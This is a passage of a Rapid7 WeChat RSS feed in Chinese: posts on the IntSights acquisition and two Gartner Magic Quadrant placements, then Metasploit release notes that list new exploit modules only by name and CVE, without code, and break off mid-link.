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    <title>Rapid7</title>
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    <description>定期发送产品相关技术文章，关键更新推送，解决方案分享等&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
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      <title>Rapid7最新动向：收购IntSights</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484615&amp;idx=1&amp;sn=c44fa62e2b95efa1935dda38c6602dbb</link>
      <description>Rapid7收购IntSights以应对不断扩大的威胁</description>
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<span>Rapid7</span> <span>2021-07-26 09:00</span> <span style="display: inline-block;"></span>
</p>

<p>Rapid7收购IntSights以应对不断扩大的威胁</p>
<p></p>



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<p style="text-indent:28px;"><span style="font-size: 15px;">我很高兴与大家分享一个激动人心的消息：<span style="font-family: Arial, sans-serif;">2021</span>年<span style="font-family: Arial, sans-serif;">7</span>月<span style="font-family: Arial, sans-serif;">19</span>日，<span style="font-family: Arial, sans-serif;">Rapid7</span>收购了<span style="font-family: Arial, sans-serif;">IntSights</span>，这是一家业内领先的提供云本地、外部威胁情报和主动威胁补救解决方案的提供商。<span style="font-family: Arial, sans-serif;">IntSights</span>团队非常出色，他们的威胁情报发现能力同样令人印象深刻。我将进一步介绍为什么<span style="font-family: Arial, sans-serif;">IntSights</span>的解决方案非常适合<span style="font-family: Arial, sans-serif;">Rapid7</span>以及我们的客户，但首先让我介绍一下这次收购的背景。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6412213740458015" data-s="300,640" style="" data-type="png" data-w="786" src="https://wechat2rss.xlab.app/img-proxy/?k=f6594c27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVqHmcic2CrFbSspD2BmDl8CUuIPq4obEyD8ucBs50vdS2lx18mn1TIlAmZK1wEbGr37BHFfWxhgIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-size: 14px;">访问地址：</span><em><span style="font-size: 14px;color: rgb(0, 213, 255);"><a href="https://intsights.com/" target="_blank">https://intsights.com/</a></span></em></p><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">我们亲眼看到，随着数字化转型，攻击面以指数级增长，客户也认识到，提高对其内部风险状况的可视性只是安全防护的一部分。在当今的威胁形势下，安全团队迫切需要在其内外部环境中进行早期的、情景化的威胁检测。然而，大多数安全团队已经资源不足，负担过重，难以确定和解决需要立即采取行动的问题。那么，在这种情况下，我们如何才能帮助安全团队领先攻击者一步呢？答案是进入<span style="font-family: Arial, sans-serif;">IntSights</span>。</span></p><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;"><span style="font-family: Arial, sans-serif;">IntSights</span>提供了领先的云本地外部威胁情报和修复解决方案，帮助客户解决这一新兴挑战。<span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">复杂的威胁情报能力</span>通常只适用于最成熟、资源最丰富的组织。但<span style="font-family: Arial, sans-serif;">IntSights</span>正在打破这一点，并使威胁情报快速落地，以便每个组织都能保护自己，不论其规模或能力如何。</span></p><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">现如今不缺乏威胁情报信息，但其中很多信息缺乏背景验证，给已经不堪重负的安全团队带来了过多的警报信息和额外工作。<span style="font-family: Arial, sans-serif;">IntSights</span>最重要的威胁检测系统产品将复杂的信息转化为情景化的攻击面情报，使任何规模的组织都能更轻松地应对其最关键的外部威胁。</span></p><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">例如，<span style="font-family: Arial, sans-serif;">IntSights通过</span>监控各类数据源、深入暗网，以识别专门针对各类组织的威胁，包括数据和凭据泄漏事件、与其品牌相关的恶意活动以及欺诈等。但<span style="font-family: Arial, sans-serif;">IntSights</span>不仅是监控，且通过自动消除威胁采取主动补救措施。</span></p><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">将<span style="font-family: Arial, sans-serif;">IntSights</span>为客户量身定制的外部威胁情报功能与<span style="font-family: Arial, sans-serif;">Rapid7</span>社区的威胁情报和对客户环境的深入了解相结合，<span style="background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">其对威胁、攻击面的监视、更好的信噪比、更出色的关联洞察力和主动缓解威胁的能力，能让客户对威胁有统一高效的管理能力</span>。</span></p><p><span style="font-family: Arial, sans-serif;font-size: 15px;"> </span></p><p style="text-align: center;"><span style="color: rgb(255, 76, 0);font-size: 17px;"><strong>下一步是什么</strong></span></p><p><span style="font-family: Arial, sans-serif;font-size: 15px;"> </span></p><p style="text-indent:28px;"><span style="font-size: 15px;"><span style="font-family: Arial, sans-serif;">IntSights</span>已经建立了一个巨大的业务网络，我们期待着通过这次收购，使<strong><span style="color: rgb(0, 213, 255);"><span style="font-family: Arial, sans-serif;">ThreatCommand</span></span></strong><span style="color: rgb(0, 213, 255);"><span style="font-family: Arial, sans-serif;"></span><span style="font-family: Arial, sans-serif;">(</span></span></span><span style="color: rgb(0, 213, 255);font-size: 14px;"><span style="color: rgb(0, 213, 255);font-family: Arial, sans-serif;"><em><a href="https://intsights.com/products/threat-command" target="_blank">https://intsights.com/products/threat-command</a></em></span></span><span style="font-size: 15px;"><span style="color: rgb(0, 213, 255);"><span style="font-family: Arial, sans-serif;">)</span></span>作为一个独立的产品提供给更广泛的客户群。同时，我们将开始将<span style="font-family: Arial, sans-serif;">IntSights</span>的威胁情报功能集成到<span style="font-family: Arial, sans-serif;">Rapid7Insight</span>平台中，以便在我们的整个产品组合中实现早期威胁识别和快速补救。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">此外，我们将利用<span style="font-family: Arial, sans-serif;">IntSights</span>的功能，通过实现高质量、高保真的警报来增强我们的检测和响应（<span style="font-family: Arial, sans-serif;">XDR</span>）功能，以确保高效的安全操作、更早的威胁检测和更加快速的响应时间。</span></p><p><span style="font-family: Arial, sans-serif;font-size: 15px;"> </span></p><p style="text-align: center;"><span style="color: rgb(255, 76, 0);font-size: 17px;"><strong>欢迎到来，</strong><strong><span style="font-size: 17px;color: rgb(255, 76, 0);font-family: Arial, sans-serif;">IntSights</span></strong><strong>！</strong></span></p><p><span style="font-family: Arial, sans-serif;font-size: 15px;"> </span></p><p style="text-indent: 28px;"><span style="font-size: 15px;">从一开始，<span style="font-size: 15px;font-family: Arial, sans-serif;">IntSights</span>就致力于威胁情报的落地，这在文化上与<span style="font-size: 15px;font-family: Arial, sans-serif;">Rapid7</span>具有很强的协同作用，因此我们将继续努力缩小安全能力的差距，为各种规模和能力的组织带来高质量和高效的安全能力。欢迎<span style="font-size: 15px;font-family: Arial, sans-serif;">IntSights</span>的客户、合作伙伴和团队成员来到<span style="font-size: 15px;font-family: Arial, sans-serif;">Rapid7</span>。今天，随着我们在威胁情报领域不断创新进步，始终将客户的需求放在最前沿，我们将共同开启一个令人兴奋的新篇章！</span></p>



<p><a href="https://www.rapid7.com/blog/post/2021/07/19/rapid7-acquires-intsights/">阅读原文</a></p>
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      <pubDate>Mon, 26 Jul 2021 09:00:00 +0800</pubDate>
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      <title>Rapid7被评为2021年Gartner SIEM（安全信息和事件管理）魔力四象限的领导者</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484611&amp;idx=1&amp;sn=4dbe87ab460dc47890ff7a1678988219</link>
      <description>Gartner将Rapid7的InsightIDR评为2021年安全信息和事件管理领域的领导者</description>
      <content:encoded><![CDATA[<p>
<span>Rapid7</span> <span>2021-07-24 14:00</span> <span style="display: inline-block;"></span>
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<p>Gartner将Rapid7的InsightIDR评为2021年安全信息和事件管理领域的领导者</p>
<p></p>



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<section style="text-indent: 2em;"><strong><span style="font-size: 15px;">亲爱的合作伙伴，我们很高兴地分享这个消息：Rapid7的InsightIDR已经被评为2021年Gartner魔力四象限——安全信息和事件管理领域的领导者！<span style="text-indent: 34px;">这是我们的SaaS SIEM - InsightIDR连续第二次被评为领导者！</span></span></strong><span style="font-size: 15px;"><span style="text-indent: 34px;"></span></span></section><p style="text-indent: 2em;text-align: left;"><span style="font-size: 15px;text-indent: 34px;">详细的报告请访问：</span></p><p style="text-indent: 2em;text-align: justify;"><span style="font-size: 15px;text-indent: 34px;"></span><span style="color: rgb(0, 213, 255);"><em><span style="color: rgb(0, 213, 255);text-indent: 34px;font-size: 14px;"><a href="https://www.rapid7.com/info/gartner-2021-siem-mq/" target="_blank">https://www.rapid7.com/info/gartner-2021-siem-mq/</a></span></em></span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/lbnpx8zSNFXrKKQQSVxX533MhibACdVGAFPLICFUicf00l0XYU4SfvO45JUPQfO7BoCwDjnzMictXYpdjKZJdS4HA/640?wx_fmt=png" data-cropx1="19.73265306122449" data-cropx2="852.0918367346939" data-cropy1="21.526530612244898" data-cropy2="916.6714285714286" data-ratio="1.0744297719087634" data-s="300,640" style="text-indent: 2em;height: 499px;text-align: center;width: 464px;" data-type="jpeg" data-w="833" src="https://wechat2rss.xlab.app/img-proxy/?k=edb3a6a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFXrKKQQSVxX533MhibACdVGABOXUiclMbPAh7S01TiaSRU5Jfbd5Hdn13age0uNZyznDLFR2BcXNJEBA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-indent:28px;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);letter-spacing: 0.5px;font-size: 17px;">鸣谢</span></strong></span></p><p style="text-indent:28px;"><span style="font-size: 15px;">首先，我们要感谢所有支持Rapid7的客户和合作伙伴与我们一起踏上这段旅程。您的每次的持续反馈、每次的合作以及长此以往对我们的信任激励我们燃起更高的创新热情，使我们更加坚定地推出更好的安全资讯、产品及服务。</span></p><p><span style="font-size: 15px;"> </span></p><p style="text-indent:28px;"><span style="font-size: 15px;">此次Gartnet魔法象限通过“completeness of vision” 和 “abilityto execute”两个维度对各个供应商进行了分析。就SIEM而言，Gartner根据客户的需求定义了安全和信息事件管理（SIEM）市场，客户需要实时分析事件数据，以便及早发现有针对性的攻击和数据泄露，并收集、存储、调查和报告日志数据，以便进行事件响应、取证和法规遵从性。随着探测和响应市场的竞争越来越激烈，这一领域的需求和挑战也越来越严峻。</span></p><p><span style="font-size: 15px;"> </span></p><p style="text-indent:28px;"><span style="font-size: 15px;">至此，我们很荣幸在2021年被魔法象限提名成为6大引领者之一。我们将这一成就归功于我们与客户深厚的合作关系，以及我们为用户提供直观且易于执行的解决方案所做出的坚定承诺。</span></p><section style="text-indent: 2em;"><span style="font-size: 15px;"><strong style="text-indent: 2em;"><br/></strong></span></section><p style="text-indent:28px;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);letter-spacing: 0.5px;font-size: 17px;">加速的变化使现代检测和响应所面临的挑战</span></strong></span></p><p style="text-indent:28px;"><span style="font-size: 15px;">在过去的一年里，许多组织都发生了巨大的变化，包括大量采用云计算、越来越多地使用web应用程序、传统办公向远程工作的重大转变，以及攻击者利用外界环境所带来的新威胁。虽然这些挑战并不新颖，但它们的紧迫性会更加突显本已脆弱的安全生态系统中的缺陷：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">越来越多不同的网络安全需求导致所需的技能差距参差不齐</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">安全问题的频发，让安全运营人员疲于应付</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">这些压力结合起来使许多团队因告警疲劳而濒临崩溃</span></p></li></ul><p style="text-indent:28px;"><span style="font-size: 15px;">这些市场动态促使许多安全运营中心(SOC) 团队重新评估当前的流程和系统，并推动变革。</span></p><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);letter-spacing: 0.5px;font-size: 17px;">Rapid7 InsightIDR 帮助团队专注于最重要的事情，以在现代 IT 环境中推动有效的威胁检测和响应</span></strong></span></p><p style="text-indent:28px;"><span style="font-size: 15px;">我们的检测和响应方法始终以客户那里获取到的信息为指导。这其中包括Rapid7 的研究和开源社区收集的行业参与和见解；在 Rapid7 MDR（托管检测和响应）和服务参与方面获得的最新的资源，当然还有直接的客户反馈。所有的这些使我们能够深入了解当今 SOC 团队面临的挑战，并推动我们开发创新更加贴合实际的解决方案来预测和满足他们的需求。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">Rapid7 InsightIDR 不是一个被闲置的以日志聚合为中心的 SIEM平台，也不是让安全分析师自己解决困难和繁琐工作的平台。相反，我们的重点始终是提供即时的、可操作的方法和警报，团队可以及时准确地做出响应，以便他们能够快速消除威胁。使用 Rapid7 InsightIDR，安全分析师不再只是为了跟上步伐而工作。他们有权扩展和转换他们的安全计划，而无关他们的环境如何发展。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">我们对这一认可感到兴奋，但就像网络安全领域的一切一样，这会督促我们致力于不断提高标准，让 SOC 团队更轻松地加速他们的检测和响应程序，同时消除干扰和误报。再次感谢我们的客户和合作伙伴与我们一起加入这一旅程。敬请期待更多更新！</span></p><p style="text-indent:28px;"><span style="font-size: 15px;color: rgb(51, 51, 51);letter-spacing: 0.5px;"></span></p><section style="text-indent: 2em;"><span style="font-size: 15px;">感谢阅读！</span></section><section style="text-indent: 2em;"><br/></section><section style="text-indent: 2em;"><span style="font-size: 15px;">Rapid7合作伙伴团队。</span></section><p><br/></p>



<p><a href="https://www.rapid7.com/blog/post/2021/07/06/once-again-rapid7-named-a-leader-in-2021-gartner-magic-quadrant-for-siem/?mkt_tok=NDExLU5BSy05NzAAAAF-Har8jzCTSUw8LPL8vsDjUvo_ilRHSYR7QumTwmropllbzL6Yr6aJDK-SUtoIrMFZryKEAu78CDl-XJAIV98WRQo7EfiBlpGMT2qJfMkdOyCq">阅读原文</a></p>
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      <pubDate>Sat, 24 Jul 2021 14:00:00 +0800</pubDate>
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      <title>Rapid7应用程序安全测试入选2021Gartner——VISIONARIES象限</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484598&amp;idx=1&amp;sn=b88e09b28727b52900f5d0dc098e96c1</link>
      <description>Rapid7应用程序安全测试入选2021Gartner——VISIONARIES象限</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-06-10 18:00</span> <span style="display: inline-block;"></span>
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<p>Rapid7应用程序安全测试入选2021Gartner——VISIONARIES象限</p>
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<p><span style="font-size: 15px;">我们很高兴地分享这个消息:Rapid7已经被评选为2021年Gartner魔力象限应用安全测试领域的远见者。“2021魔法象限聚焦于供应商的传统AST产品、通过对它们的成熟度和作为工具或“作为服务”的特性，以及它们是否能覆盖现在更前卫技术所开发出的应用程序的攻击面的能力。Rapid7除了保持原有的应用程序安全检测方法外，我们还不断的扩展产品的组合，包括：DAST、容器扫描、基础设施代码(IaC)扫描、云安全态势管理(CSPM)、漏洞管理和通过NG-WAF和RASP的安全监控。随着应用程序威胁范围的扩大，应用程序架构跨越了云和现场架构，所以对于一个成功且安全的应用程序来说，更全面和多样化的工具集的需求变得至关重要。</span></p><p><br/></p><p><span style="font-size: 15px;">Rapid7在面对漏洞风险管理的时候，认为我们不仅仅需要最新的检查方式，还需要突出我们对客户的关注。我们会专注于如何让客户的在使用上更轻松，不仅是在识别漏洞和风险方面，还有在与关键涉众(如开发和执行团队)团体的沟通中，以告知如何修复漏洞并降低他们的应用程序的风险。</span></p><p><br/></p><p><span style="font-size: 15px;">&#34;Best Security Tool to Secure our WebApplications&#34; — Developer in the Services Industry</span></p><p><span style="color: rgb(0, 213, 255);"><em><span style="color: rgb(0, 213, 255);font-size: 12px;"><a href="https://www.gartner.com/reviews/market/application-security-testing/vendor/rapid7/product/insightappsec/review/view/1397740" target="_blank">https://www.gartner.com/reviews/market/application-security-testing/vendor/rapid7/product/insightappsec/review/view/1397740</a></span></em></span></p><p><span style="font-size: 15px;"></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.042857142857143" data-s="300,640" style="" data-type="png" data-w="490" src="https://wechat2rss.xlab.app/img-proxy/?k=31318731&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFXWf9MhJEJHOAx7DR9tR6vjxb1O9wecOfkkbZaGjVtZD5mia0cg2fFNah2zFVpoctA0CsNLZqQBNMw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>确保安全检查的时效性和准确性</strong></span></p><p><span style="font-size: 15px;">Rapid7在在漏洞风险管理方面建立的强大基础而感到非常自豪，包括行业领先的漏洞管理和应用安全解决方案。然而，现代应用程序开发需要不断创新以保证这些应用程序的安全性。出于这些原因，您将看到我们在技术上投入了大量的时间和精力，以帮助确保现代应用程序环境的安全。它不再是关于保护您的网络和整体应用程序。现如今，安全团队面临着需要保护新型技术所创建的环境、远程劳动力、物联网环境、微服务、云等等。但是，现在通过 Rapid7 的漏洞风险管理全栈方法，我们可帮助客户管理和降低其基础设施和应用程序中的风险。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在Gartner应用程序安全测试的魔法象限中，Rapid7的执行能力和完整性得到了认可。我们在产品组合中的扩展，包括容器扫描、IaC扫描和SCA功能，继续使我们适应应用程序开发向云本地应用程序的演进。</span></p><p><br/></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>我们的Flagship DAST将继续提供可靠和易于理解的结果</strong></span></p><p><span style="font-size: 15px;">InsightAppSec，是我们的Flagship动态应用程序安全测试(DAST)解决方案，它将持续处于创新和可访问性的前沿。InsightAppSec提供了一个低误报和高覆盖率的解决方案，可以爬取任何一种现代应用程序来发现其中的漏洞。通过其中内置的攻击模板可以用来快速识别OWASP十大漏洞，这些模板还利用了全球Metasploit社区和Rapid7自己的威胁研究的结果。从理论上讲，InsightAppSec不仅提供了优先级和推荐建议，而且通过我们的攻击重播功能，可以让开发团队可以看到到底发生了什么，从而使补救变得容易。借据以获得对应用程序风险的单一看法?检查丰富的报告功能，这些功能有助于对监管标准(如PCI-DSS和HIPPA)的遵从性和补救，以及为领导和执行团队提供报告。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">“One of the Best DASTs you can Buy” —Security Manager in the Finance Industry</span></p><p><span style="color: rgb(0, 213, 255);"><em><span style="color: rgb(0, 213, 255);font-size: 12px;"><a href="https://www.gartner.com/reviews/market/application-security-testing/vendor/rapid7/product/insightappsec/review/view/1411106" target="_blank">https://www.gartner.com/reviews/market/application-security-testing/vendor/rapid7/product/insightappsec/review/view/1411106</a></span></em></span></p><p><br/></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>保护应用程序安全需要与关键利益相关者建立合作关系</strong></span></p><p><span style="font-size: 15px;">识别和控制入侵平均需要280天，成本为392万美元。因此，尽快识别和降低风险的必要性非常重要，这就是为什么我们在Rapid7中不仅要及早识别风险，而且要与关键的利益方合作，将缓解和补救政策付诸实践，以降低风险。我们的解决方案有助于提供可见性，帮助客户降低风险。为了做到补救或缓解这一点，安全性和开发团队之间的联系是关键。为了团队合作更便捷，创造尽可能好的结果，Rapid7提供了建议、描述和错误信息等信息，以及我们独特的攻击重播功能，使开发团队能够理解、可视化、修补和重新测试漏洞。除了CI/CD和票务集成之外，我们还希望为开发团队提供尽可能多的结合环境查看，使修复工作变得更容易。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">我们为我们在Gartner应用程序安全测试领域被认可而感到兴奋，但使我们我们更加激动的是接下来要发生的事情。我们正在重新定义,以帮助世界各地的团队在他们的应用程序投资组合降低风险。感谢我们的客户和合作伙伴加入我们的旅程，当然，敬请期待更多的更新即将到来!</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>在这里获取完整的魔法象限报告。</strong></span></p><p><span style="color: rgb(0, 213, 255);"><em><span style="color: rgb(0, 213, 255);font-size: 12px;"><a href="https://www.rapid7.com/info/gartner-2021-ast-mq/" target="_blank">https://www.rapid7.com/info/gartner-2021-ast-mq/</a></span></em></span></p><p><br/></p><p><span style="font-size: 15px;">此图由Gartner，Inc.发布，作为研究文档的一部分，应结合整个文档的上下文进行评估。Gartner文档可以从Rapid7获得。</span></p><p><span style="font-size: 15px;"> </span><span style="font-size: 15px;"></span></p><p><span style="font-size: 15px;">Gartner research publications consist ofthe opinions of Gartner&#39;s research organization and should not be construed asstatements of fact. Gartner disclaims all warranties, expressed or implied,with respect to this research, including any warranties of merchantability orfitness for a particular purpose. Gartner Magic Quadrant for ApplicationSecurity Testing (AST), Dale Gardner, Mark Horvath, Dionisio Zumerle, 27 May2021</span></p><p><br/></p>



<p><a href="https://www.rapid7.com/c/appsec-2021q1-gartner/3/">阅读原文</a></p>
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      <pubDate>Thu, 10 Jun 2021 18:00:00 +0800</pubDate>
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      <title>Metasploit最新资讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484592&amp;idx=1&amp;sn=cda48e4af51b296fada2d1be32af5193</link>
      <description>Metasploit最新资讯！！新模块*4，功能更新*6，BUG修复*3~</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-05-28 16:31</span> <span style="display: inline-block;"></span>
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<p>Metasploit最新资讯！！新模块*4，功能更新*6，BUG修复*3~</p>
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<p><span style="color: rgb(255, 76, 0);"><strong><span style="color: rgb(255, 76, 0);font-size: 17px;"> <span style="color: rgb(255, 76, 0);font-family: 微软雅黑, sans-serif;">新模块（4）</span></span></strong></span></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>NetMotion Mobility Server MvcUtil JavaDeserialization：</strong></span><span style="font-size: 15px;">由wvu和mr_me为meta加入了一个针对CVE-2021-26914的利用模块。该漏洞是NetMotion Mobility中的一个可远程利用的漏洞，通过精心设计的请求可以触发反序列化漏洞，从而导致代码执行。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1263537906137184" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=9e33bf8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWdlLgyVqJl1m9Pl6ibxib7UPo1ic5jMPjUQAYYCLNSBCPwcCVpmoXhIuPQLRpnPsYibpras3cJQhv0Hw%2F640%3Fwx_fmt%3Dpng"/></p><p> </p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>Dell DBUtil_2_3.sys IOCTL memmove：</strong></span><span style="font-size: 15px;">由Kasif Dekel, SentinelLabs和 Spencer McIntyre提供。通过对CVE-2021-21551的利用由Dell分发的DBUtil_2_3.sys驱动程序提供的IOCTL，可被滥用以执行内核模式内存读取和写入操作。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.19494584837545126" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4eae27f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWdlLgyVqJl1m9Pl6ibxib7UPgT83PTRw0PPKnPPia1maNNrGIesSbXXTJknHxbTu5BkQ3JSo3dOXFkw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>Windows Privilege Escalation viaTokenMagic (UAC Bypass)：</strong></span><span style="font-size: 15px;">由James Forshaw, RubenBoonen (@FuzzySec), bwatters-r7和 jheysel-r7提供添加了一个模块来利用TokenMagic，这是一种将Windows 7升级到Windows 10 build 17134（包括Windows 7）的利用技术，允许用户将其特权提升到SYSTEM。可以通过利用影响到Windows 10内部版本15063至内部版本17134的DLL劫持漏洞，或通过在目标系统上创建新服务来利用受影响的系统。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18953068592057762" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0155a4b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWdlLgyVqJl1m9Pl6ibxib7UPRocC8ibFA3TE2P2qNqeUCebu9tADRvCxGxFZCG9Fjt6rvXbVCia3hqicA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;color: rgb(255, 76, 0);"><strong>altStack Salt Information Gatherer：</strong></span><span style="font-size: 15px;">由c2Vlcgo 和 h00die提供。添加了一个post模块来收集salt信息、配置等。。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2328519855595668" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=017fe3f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWdlLgyVqJl1m9Pl6ibxib7UP0FDKLibW15icjD6htq3tkqbPEiaNO9icb5WpJOXhue7NcDTP2qviaKEqgyA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"> </span></p><h2><span style="color: rgb(255, 76, 0);"><strong><span style="color: rgb(255, 76, 0);font-family: 微软雅黑, sans-serif;font-size: 17px;">功能更新（6）</span></strong></span></h2><p><span style="color: rgb(255, 76, 0);"><strong><span style="font-size: 15px;">更新1：</span></strong></span><span style="font-size: 15px;">增强analyze命令，以显示有关已识别的攻击立即可运行的其他信息，或者是否需要在运行之前设置其他凭据或选项</span></p><p><span style="color: rgb(255, 76, 0);"><strong><span style="font-size: 15px;">更新2：</span></strong></span><span style="font-size: 15px;">对CVE-2021-3156(Baron Samedit)的漏洞做了两个改进。它消除了目标环境中对GCC的依赖。它还为Ubuntu 16.04、Ubuntu 14.04、CentOS 7、CentOS 8和Fedora23-27添加了新的目标。</span></p><p><span style="color: rgb(255, 76, 0);"><strong><span style="font-size: 15px;">更新3：</span></strong></span><span style="font-size: 15px;">auxiliary /client / telegram / send_message.rb该模块已更新，以支持发送文档以及将文档和/或消息发送到多个聊天ID.。</span></p><p><span style="color: rgb(255, 76, 0);"><strong><span style="font-size: 15px;">更新4：</span></strong></span><span style="font-size: 15px;">WordPress插件和主题列表已经更新，允许用户在运行诸如auxiliary/scanner/http/wordpress_scanner等工具时发现更多的插件和主题</span></p><p><span style="color: rgb(255, 76, 0);"><strong><span style="font-size: 15px;">更新5：</span></strong></span><span style="font-size: 15px;">exploit/multi/http/gitlab_file_read_rce文档已更新，以提供有关如何使用SSL证书为加密通信设置GitLab的其他信息，使用户可以轻松地测试可能需要加密GitLab连接的场景。</span></p><p><span style="color: rgb(255, 76, 0);"><strong><span style="font-size: 15px;">更新6：</span></strong></span><span style="font-size: 15px;">现在，用Python实现的asploit模块显式要求python3出现在系统路径上。这确保不再无意识地使用python2，以前在Kali系统上出现过</span></p><p><span style="font-size: 15px;"><br/></span></p><h2><span style="color: rgb(255, 76, 0);"><strong><span style="color: rgb(255, 76, 0);font-family: 微软雅黑, sans-serif;font-size: 17px;">BUG修复（3）</span></strong></span></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">如果用户将Metasploit安装到path.msfdb中包含空格的位置，该错误将阻止用户运行该脚本。现已修复</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复exploit/multi/http/gitlab_file_read_rce模块中的一个错误，使其能够针对启用TLS的易受攻击的GitLab服务器。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">已经应用了一个修复以使用传入的SSL密钥路径(如果提供了)而不再使用默认的at，如果用户将SSL密钥路径作为选项.msfdb~/.msf4/msf-ws-key.pem传入，则默认路径可能不启用。</span></p><p><span style="font-size: 15px;"></span></p></li></ul><h2><span style="color: rgb(255, 76, 0);"><strong><span style="color: rgb(255, 76, 0);font-family: 微软雅黑, sans-serif;font-size: 17px;">如何获取最新版本</span></strong></span></h2><p><span style="font-size: 15px;color: black;">    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 15px;background-color: white;text-align: left;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Pull Requests 6.0.44...6.0.45</span><span style="font-size: 15px;background-color: white;text-align: left;font-family: 等线;color: black;letter-spacing: 0.5px;">(</span><em style="font-size: 15px;background-color: white;text-align: left;"><span style="font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;"><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-05-12T18%3A09%3A40-05%3A00..2021-05-19T10%3A47%3A33-05%3A00%22" target="_blank">https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-05-12T18%3A09%3A40-05%3A00..2021-05-19T10%3A47%3A33-05%3A00%22</a></span></em><span style="font-size: 15px;background-color: white;text-align: left;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span></p></li><li><p style="text-align: left;"><span style="text-align: left;font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Full diff 6.0.44...6.0.45</span><span style="text-align: left;font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;"> (</span><em style="text-align: left;font-size: 15px;"><span style="font-family: 